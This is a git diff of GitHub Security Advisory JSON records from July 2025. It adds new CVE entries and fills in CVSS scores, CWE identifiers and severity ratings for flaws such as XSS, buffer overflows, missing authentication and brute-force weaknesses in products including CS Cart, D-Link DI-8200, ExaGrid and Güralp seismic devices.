+++ b/advisories/unreviewed/2025/07/GHSA-32gv-r223-hpr7/GHSA-32gv-r223-hpr7.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-32gv-r223-hpr7",
- "modified": "2025-07-31T18:32:03Z",
+ "modified": "2025-07-31T21:31:52Z",
"published": "2025-07-31T18:32:03Z",
"aliases": [
"CVE-2025-50848"
],
"details": "A file upload vulnerability was discovered in CS Cart 4.18.3, allows attackers to execute arbitrary code. CS Cart 4.18.3 allows unrestricted upload of HTML files, which are rendered directly in the browser when accessed. This allows an attacker to upload a crafted HTML file containing malicious content, such as a fake login form for credential harvesting or scripts for Cross-Site Scripting (XSS) attacks. Since the content is served from a trusted domain, it significantly increases the likelihood of successful phishing or script execution against other users.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
+ }
+ ],
"affected": [],
"references": [
{
@@ -24,8 +29,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T16:15:30Z"
diff --git a/advisories/unreviewed/2025/07/GHSA-5qv2-823h-cg9j/GHSA-5qv2-823h-cg9j.json b/advisories/unreviewed/2025/07/GHSA-5qv2-823h-cg9j/GHSA-5qv2-823h-cg9j.json
new file mode 100644
index 0000000000000..addc45e16e1db
--- /dev/null
+++ b/advisories/unreviewed/2025/07/GHSA-5qv2-823h-cg9j/GHSA-5qv2-823h-cg9j.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-5qv2-823h-cg9j",
+ "modified": "2025-07-31T21:31:54Z",
+ "published": "2025-07-31T21:31:54Z",
+ "aliases": [
+ "CVE-2025-8286"
+ ],
+ "details": "Güralp FMUS series seismic monitoring devices expose an unauthenticated Telnet-based command line interface that \ncould allow an attacker to modify hardware configurations, manipulate \ndata, or factory reset the device.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8286"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-212-01"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-306"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-07-31T20:15:46Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/07/GHSA-6fpv-q3vm-j4gh/GHSA-6fpv-q3vm-j4gh.json b/advisories/unreviewed/2025/07/GHSA-6fpv-q3vm-j4gh/GHSA-6fpv-q3vm-j4gh.json
index 884c4e0d9d9b9..7818364774ff2 100644
--- a/advisories/unreviewed/2025/07/GHSA-6fpv-q3vm-j4gh/GHSA-6fpv-q3vm-j4gh.json
+++ b/advisories/unreviewed/2025/07/GHSA-6fpv-q3vm-j4gh/GHSA-6fpv-q3vm-j4gh.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-6fpv-q3vm-j4gh",
- "modified": "2025-07-31T18:32:04Z",
+ "modified": "2025-07-31T21:31:53Z",
"published": "2025-07-31T18:32:04Z",
"aliases": [
"CVE-2025-51383"
],
"details": "D-LINK DI-8200 16.07.26A1 is vulnerable to Buffer Overflow in the ipsec_road_asp function via the host_ip parameter.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"
+ }
+ ],
"affected": [],
"references": [
{
@@ -24,8 +29,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-121"
+ ],
+ "severity": "LOW",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T18:15:41Z"
diff --git a/advisories/unreviewed/2025/07/GHSA-6vjc-2rp5-c2hr/GHSA-6vjc-2rp5-c2hr.json b/advisories/unreviewed/2025/07/GHSA-6vjc-2rp5-c2hr/GHSA-6vjc-2rp5-c2hr.json
index 193633392d5fd..6c09bf781ebd1 100644
--- a/advisories/unreviewed/2025/07/GHSA-6vjc-2rp5-c2hr/GHSA-6vjc-2rp5-c2hr.json
+++ b/advisories/unreviewed/2025/07/GHSA-6vjc-2rp5-c2hr/GHSA-6vjc-2rp5-c2hr.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-6vjc-2rp5-c2hr",
- "modified": "2025-07-31T15:35:50Z",
+ "modified": "2025-07-31T21:31:50Z",
"published": "2025-07-31T15:35:50Z",
"aliases": [
"CVE-2025-29557"
],
"details": "ExaGrid EX10 6.3 - 7.0.1.P08 is vulnerable to Incorrect Access Control in the MailConfiguration API endpoint, where users with operator-level privileges can issue an HTTP request to retrieve SMTP credentials, including plaintext passwords.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"
+ }
+ ],
"affected": [],
"references": [
{
@@ -24,8 +29,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-284"
+ ],
+ "severity": "MODERATE",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T15:15:36Z"
diff --git a/advisories/unreviewed/2025/07/GHSA-75pq-m89c-9h5r/GHSA-75pq-m89c-9h5r.json b/advisories/unreviewed/2025/07/GHSA-75pq-m89c-9h5r/GHSA-75pq-m89c-9h5r.json
index 8e169d398374b..993fcedb12ba0 100644
--- a/advisories/unreviewed/2025/07/GHSA-75pq-m89c-9h5r/GHSA-75pq-m89c-9h5r.json
+++ b/advisories/unreviewed/2025/07/GHSA-75pq-m89c-9h5r/GHSA-75pq-m89c-9h5r.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-75pq-m89c-9h5r",
- "modified": "2025-07-31T18:32:04Z",
+ "modified": "2025-07-31T21:31:53Z",
"published": "2025-07-31T18:32:04Z",
"aliases": [
"CVE-2025-50866"
],
"details": "CloudClassroom-PHP-Project 1.0 contains a reflected Cross-site Scripting (XSS) vulnerability in the email parameter of the postquerypublic endpoint. Improper sanitization allows an attacker to inject arbitrary JavaScript code that executes in the context of the user s browser, potentially leading to session hijacking or phishing attacks.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
+ }
+ ],
"affected": [],
"references": [
{
@@ -20,8 +25,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T17:15:30Z"
diff --git a/advisories/unreviewed/2025/07/GHSA-782f-gxj5-xvqc/GHSA-782f-gxj5-xvqc.json b/advisories/unreviewed/2025/07/GHSA-782f-gxj5-xvqc/GHSA-782f-gxj5-xvqc.json
index c490bdf5d9afc..ae165c328083f 100644
--- a/advisories/unreviewed/2025/07/GHSA-782f-gxj5-xvqc/GHSA-782f-gxj5-xvqc.json
+++ b/advisories/unreviewed/2025/07/GHSA-782f-gxj5-xvqc/GHSA-782f-gxj5-xvqc.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-782f-gxj5-xvqc",
- "modified": "2025-07-31T18:32:04Z",
+ "modified": "2025-07-31T21:31:53Z",
"published": "2025-07-31T18:32:04Z",
"aliases": [
"CVE-2025-51503"
],
"details": "A Stored Cross-Site Scripting (XSS) vulnerability in Microweber CMS 2.0 allows attackers to inject malicious scripts into user profile fields, leading to arbitrary JavaScript execution in admin browsers.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"
+ }
+ ],
"affected": [],
"references": [
{
@@ -28,8 +33,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "HIGH",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T18:15:42Z"
diff --git a/advisories/unreviewed/2025/07/GHSA-7hhp-cmgc-52fj/GHSA-7hhp-cmgc-52fj.json b/advisories/unreviewed/2025/07/GHSA-7hhp-cmgc-52fj/GHSA-7hhp-cmgc-52fj.json
new file mode 100644
index 0000000000000..4f6024651a168
--- /dev/null
+++ b/advisories/unreviewed/2025/07/GHSA-7hhp-cmgc-52fj/GHSA-7hhp-cmgc-52fj.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-7hhp-cmgc-52fj",
+ "modified": "2025-07-31T21:31:54Z",
+ "published": "2025-07-31T21:31:54Z",
+ "aliases": [
+ "CVE-2025-23289"
+ ],
+ "details": "NVIDIA Omniverse Launcher for Windows and Linux contains a vulnerability in the launcher logs, where a user could cause sensitive information to be written to the log files through proxy servers. A successful exploit of this vulnerability might lead to information disclosure.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23289"
+ },
+ {
+ "type": "WEB",
+ "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5679"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-532"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-07-31T21:15:27Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/07/GHSA-7rf9-h4hc-6359/GHSA-7rf9-h4hc-6359.json b/advisories/unreviewed/2025/07/GHSA-7rf9-h4hc-6359/GHSA-7rf9-h4hc-6359.json
new file mode 100644
index 0000000000000..524b52836582e
--- /dev/null
+++ b/advisories/unreviewed/2025/07/GHSA-7rf9-h4hc-6359/GHSA-7rf9-h4hc-6359.json
@@ -0,0 +1,48 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-7rf9-h4hc-6359",
+ "modified": "2025-07-31T21:31:54Z",
+ "published": "2025-07-31T21:31:54Z",
+ "aliases": [
+ "CVE-2023-32251"
+ ],
+ "details": "A vulnerability has been identified in the Linux kernel's ksmbd component (kernel SMB/CIFS server). A security control designed to prevent dictionary attacks, which introduces a 5-second delay during session setup, can be bypassed through the use of asynchronous requests. This bypass negates the intended anti-brute-force protection, potentially allowing attackers to conduct dictionary attacks more efficiently against user credentials or other authentication mechanisms.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32251"
+ },
+ {
+ "type": "WEB",
+ "url": "https://access.redhat.com/security/cve/CVE-2023-32251"
+ },
+ {
+ "type": "WEB",
+ "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2385852"
+ },
+ {
+ "type": "WEB",
+ "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b096d97f47326b1e2dbdef1c91fab69ffda54d17"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-699"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-307"
+ ],
+ "severity": "LOW",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-07-31T21:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/07/GHSA-8xpj-x7cg-qg43/GHSA-8xpj-x7cg-qg43.json b/advisories/unreviewed/2025/07/GHSA-8xpj-x7cg-qg43/GHSA-8xpj-x7cg-qg43.json
new file mode 100644
index 0000000000000..db2309def6e73
--- /dev/null
+++ b/advisories/unreviewed/2025/07/GHSA-8xpj-x7cg-qg43/GHSA-8xpj-x7cg-qg43.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-8xpj-x7cg-qg43",
+ "modified": "2025-07-31T21:31:53Z",
+ "published": "2025-07-31T21:31:53Z",
+ "aliases": [
+ "CVE-2025-26063"
+ ],
+ "details": "An issue in Intelbras RX1500 v2.2.9 and RX3000 v1.0.11 allows unauthenticated attackers to execute arbitrary code via injecting a crafted payload into the ESSID name when creating a network.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26063"
+ },
+ {
+ "type": "WEB",
+ "url": "https://manuais.intelbras.com.br/manual-linha-rx/ChangeLogRX1500.html"
+ },
+ {
+ "type": "WEB",
+ "url": "https://manuais.intelbras.com.br/manual-linha-rx/ChangeLogRX3000.html"
+ },
+ {
+ "type": "WEB",
+ "url": "https://seclists.org/fulldisclosure/2025/Jul/14"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-77"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-07-31T19:15:28Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/07/GHSA-c2ff-5p35-6q77/GHSA-c2ff-5p35-6q77.json b/advisories/unreviewed/2025/07/GHSA-c2ff-5p35-6q77/GHSA-c2ff-5p35-6q77.json
index d1aaaadd9cd1c..74944009a8751 100644
--- a/advisories/unreviewed/2025/07/GHSA-c2ff-5p35-6q77/GHSA-c2ff-5p35-6q77.json
+++ b/advisories/unreviewed/2025/07/GHSA-c2ff-5p35-6q77/GHSA-c2ff-5p35-6q77.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-c2ff-5p35-6q77",
- "modified": "2025-07-31T18:32:04Z",
+ "modified": "2025-07-31T21:31:53Z",
"published": "2025-07-31T18:32:04Z",
"aliases": [
"CVE-2025-51384"
],
"details": "D-LINK DI-8200 16.07.26A1 is vulnerable to Buffer Overflow in the ipsec_net_asp function via the remot_ip parameter.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"
+ }
+ ],
"affected": [],
"references": [
{
@@ -24,8 +29,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-121"
+ ],
+ "severity": "LOW",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T18:15:41Z"
diff --git a/advisories/unreviewed/2025/07/GHSA-cmjc-2g23-9m8c/GHSA-cmjc-2g23-9m8c.json b/advisories/unreviewed/2025/07/GHSA-cmjc-2g23-9m8c/GHSA-cmjc-2g23-9m8c.json
index 0fd290764951d..f24fa57986996 100644
--- a/advisories/unreviewed/2025/07/GHSA-cmjc-2g23-9m8c/GHSA-cmjc-2g23-9m8c.json
+++ b/advisories/unreviewed/2025/07/GHSA-cmjc-2g23-9m8c/GHSA-cmjc-2g23-9m8c.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-cmjc-2g23-9m8c",
- "modified": "2025-07-31T15:35:50Z",
+ "modified": "2025-07-31T21:31:50Z",
"published": "2025-07-31T15:35:50Z",
"aliases": [
"CVE-2025-50270"
],
"details": "A stored Cross Site Scripting (xss) vulnerability in the \"content management\" feature in AnQiCMS v.3.4.11 allows a remote attacker to execute arbitrary code via a crafted script to the title, categoryTitle, and tmpTag parameters.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
+ }
+ ],
"affected": [],
"references": [
{
@@ -24,8 +29,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T15:15:36Z"
diff --git a/advisories/unreviewed/2025/07/GHSA-g74q-gh4w-3jmf/GHSA-g74q-gh4w-3jmf.json b/advisories/unreviewed/2025/07/GHSA-g74q-gh4w-3jmf/GHSA-g74q-gh4w-3jmf.json
index 55d3b1d8e60a9..83dc69191d226 100644
--- a/advisories/unreviewed/2025/07/GHSA-g74q-gh4w-3jmf/GHSA-g74q-gh4w-3jmf.json
+++ b/advisories/unreviewed/2025/07/GHSA-g74q-gh4w-3jmf/GHSA-g74q-gh4w-3jmf.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-g74q-gh4w-3jmf",
- "modified": "2025-07-31T18:32:04Z",
+ "modified": "2025-07-31T21:31:52Z",
"published": "2025-07-31T18:32:04Z",
"aliases": [
"CVE-2025-50850"
],
"details": "An issue was discovered in CS Cart 4.18.3 allows the vendor login functionality lacks essential security controls such as CAPTCHA verification and rate limiting. This allows an attacker to systematically attempt various combinations of usernames and passwords (brute-force attack) to gain unauthorized access to vendor accounts. The absence of any blocking mechanism makes the login endpoint susceptible to automated attacks.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H"
+ }
+ ],
"affected": [],
"references": [
{
@@ -24,8 +29,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-284"
+ ],
+ "severity": "HIGH",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T16:15:31Z"
diff --git a/advisories/unreviewed/2025/07/GHSA-gcm8-8cp3-3x4h/GHSA-gcm8-8cp3-3x4h.json b/advisories/unreviewed/2025/07/GHSA-gcm8-8cp3-3x4h/GHSA-gcm8-8cp3-3x4h.json
index 381977be36383..d56d6696b4b45 100644
--- a/advisories/unreviewed/2025/07/GHSA-gcm8-8cp3-3x4h/GHSA-gcm8-8cp3-3x4h.json
+++ b/advisories/unreviewed/2025/07/GHSA-gcm8-8cp3-3x4h/GHSA-gcm8-8cp3-3x4h.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-gcm8-8cp3-3x4h",
- "modified": "2025-07-31T15:35:50Z",
+ "modified": "2025-07-31T21:31:50Z",
"published": "2025-07-31T15:35:50Z",
"aliases": [
"CVE-2025-51569"
],
"details": "A cross-site scripting (XSS) vulnerability exists in the LB-Link BL-CPE300M 01.01.02P42U14_06 router's web interface. The /goform/goform_get_cmd_process endpoint fails to sanitize user input in the cmd parameter before reflecting it into a text/html response. This allows unauthenticated attackers to inject arbitrary JavaScript, which is executed in the context of the router's origin when the crafted URL is accessed. The issue requires user interaction to exploit.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
+ }
+ ],
"affected": [],
"references": [
{
@@ -24,8 +29,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T15:15:37Z"
diff --git a/advisories/unreviewed/2025/07/GHSA-hp45-3w87-63c3/GHSA-hp45-3w87-63c3.json b/advisories/unreviewed/2025/07/GHSA-hp45-3w87-63c3/GHSA-hp45-3w87-63c3.json
new file mode 100644
index 0000000000000..a0f0fa03a1fbf
--- /dev/null
+++ b/advisories/unreviewed/2025/07/GHSA-hp45-3w87-63c3/GHSA-hp45-3w87-63c3.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-hp45-3w87-63c3",
+ "modified": "2025-07-31T21:31:53Z",
+ "published": "2025-07-31T21:31:53Z",
+ "aliases": [
+ "CVE-2025-45770"
+ ],
+ "details": "jwt v5.4.3 was discovered to contain weak encryption.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-45770"
+ },
+ {
+ "type": "WEB",
+ "url": "https://gist.github.com/ZupeiNie/cd88c827eef11a1618f8baacccd240fb"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/lcobucci"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/lcobucci/jwt"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-326"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-07-31T20:15:33Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/07/GHSA-hq48-r775-f9j2/GHSA-hq48-r775-f9j2.json b/advisories/unreviewed/2025/07/GHSA-hq48-r775-f9j2/GHSA-hq48-r775-f9j2.json
index 904278c7ead18..4fcec13cfddf8 100644
--- a/advisories/unreviewed/2025/07/GHSA-hq48-r775-f9j2/GHSA-hq48-r775-f9j2.json
+++ b/advisories/unreviewed/2025/07/GHSA-hq48-r775-f9j2/GHSA-hq48-r775-f9j2.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-hq48-r775-f9j2",
- "modified": "2025-07-31T18:32:04Z",
+ "modified": "2025-07-31T21:31:52Z",
"published": "2025-07-31T18:32:04Z",
"aliases": [
"CVE-2025-50867"
],
"details": "A SQL Injection vulnerability exists in the takeassessment2.php endpoint of the CloudClassroom-PHP-Project 1.0, where the Q5 POST parameter is directly embedded in SQL statements without sanitization.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
+ }
+ ],
"affected": [],
"references": [
{
@@ -20,8 +25,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-89"
+ ],
+ "severity": "MODERATE",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T16:15:31Z"
diff --git a/advisories/unreviewed/2025/07/GHSA-j3vg-9hrg-5754/GHSA-j3vg-9hrg-5754.json b/advisories/unreviewed/2025/07/GHSA-j3vg-9hrg-5754/GHSA-j3vg-9hrg-5754.json
new file mode 100644
index 0000000000000..ef723620b6d78
--- /dev/null
+++ b/advisories/unreviewed/2025/07/GHSA-j3vg-9hrg-5754/GHSA-j3vg-9hrg-5754.json
@@ -0,0 +1,34 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-j3vg-9hrg-5754",
+ "modified": "2025-07-31T21:31:53Z",
+ "published": "2025-07-31T21:31:53Z",
+ "aliases": [
+ "CVE-2025-37109"
+ ],
+ "details": "Cross-site scripting vulnerability has been identified in HPE Telco Service Activator product",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37109"
+ },
+ {
+ "type": "WEB",
+ "url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04887en_us&docLocale=en_US"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": "LOW",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-07-31T20:15:32Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/07/GHSA-j927-gjfr-7859/GHSA-j927-gjfr-7859.json b/advisories/unreviewed/2025/07/GHSA-j927-gjfr-7859/GHSA-j927-gjfr-7859.json
index c25e8113b8d1e..35ca862a1fa8e 100644
--- a/advisories/unreviewed/2025/07/GHSA-j927-gjfr-7859/GHSA-j927-gjfr-7859.json
+++ b/advisories/unreviewed/2025/07/GHSA-j927-gjfr-7859/GHSA-j927-gjfr-7859.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-j927-gjfr-7859",
- "modified": "2025-07-31T18:32:03Z",
+ "modified": "2025-07-31T21:31:51Z",
"published": "2025-07-31T18:32:03Z",
"aliases": [
"CVE-2025-50847"
],
"details": "Cross Site Request Forgery (CSRF) vulnerability in CS Cart 4.18.3, allows attackers to add products to a user's comparison list via a crafted HTTP request.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
+ }
+ ],
"affected": [],
"references": [
{
@@ -24,8 +29,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-352"
+ ],
+ "severity": "MODERATE",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T16:15:30Z"
diff --git a/advisories/unreviewed/2025/07/GHSA-pv6m-hmr7-w8g8/GHSA-pv6m-hmr7-w8g8.json b/advisories/unreviewed/2025/07/GHSA-pv6m-hmr7-w8g8/GHSA-pv6m-hmr7-w8g8.json
new file mode 100644
index 0000000000000..9b942c305076b
--- /dev/null
+++ b/advisories/unreviewed/2025/07/GHSA-pv6m-hmr7-w8g8/GHSA-pv6m-hmr7-w8g8.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-pv6m-hmr7-w8g8",
+ "modified": "2025-07-31T21:31:53Z",
+ "published": "2025-07-31T21:31:53Z",
+ "aliases": [
+ "CVE-2025-37108"
+ ],
+ "details": "Cross-site scripting vulnerability has been identified in HPE Telco Service Activator product",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37108"
+ },
+ {
+ "type": "WEB",
+ "url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04887en_us&docLocale=en_US"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "LOW",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-07-31T20:15:32Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/07/GHSA-q4xj-79jm-5gwm/GHSA-q4xj-79jm-5gwm.json b/advisories/unreviewed/2025/07/GHSA-q4xj-79jm-5gwm/GHSA-q4xj-79jm-5gwm.json
index 1d4fe142dff88..2c605612025eb 100644
--- a/advisories/unreviewed/2025/07/GHSA-q4xj-79jm-5gwm/GHSA-q4xj-79jm-5gwm.json
+++ b/advisories/unreviewed/2025/07/GHSA-q4xj-79jm-5gwm/GHSA-q4xj-79jm-5gwm.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-q4xj-79jm-5gwm",
- "modified": "2025-07-31T18:32:03Z",
+ "modified": "2025-07-31T21:31:51Z",
"published": "2025-07-31T18:32:03Z",
"aliases": [
"CVE-2025-29556"
],
"details": "ExaGrid EX10 6.3 - 7.0.1.P08 is vulnerable to Incorrect Access Control. Since version 6.3, ExaGrid enforces restrictions preventing users with the Admin role from creating or modifying users with the Security Officer role without approval. However, a flaw in the account creation process allows an attacker to bypass these restrictions via API request manipulation. An attacker with an Admin access can intercept and modify the API request during user creation, altering the parameters to assign the new account to the ExaGrid Security Officers group without the required approval.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ }
+ ],
"affected": [],
"references": [
{
@@ -24,8 +29,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-284"
+ ],
+ "severity": "HIGH",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-31T16:15:29Z"
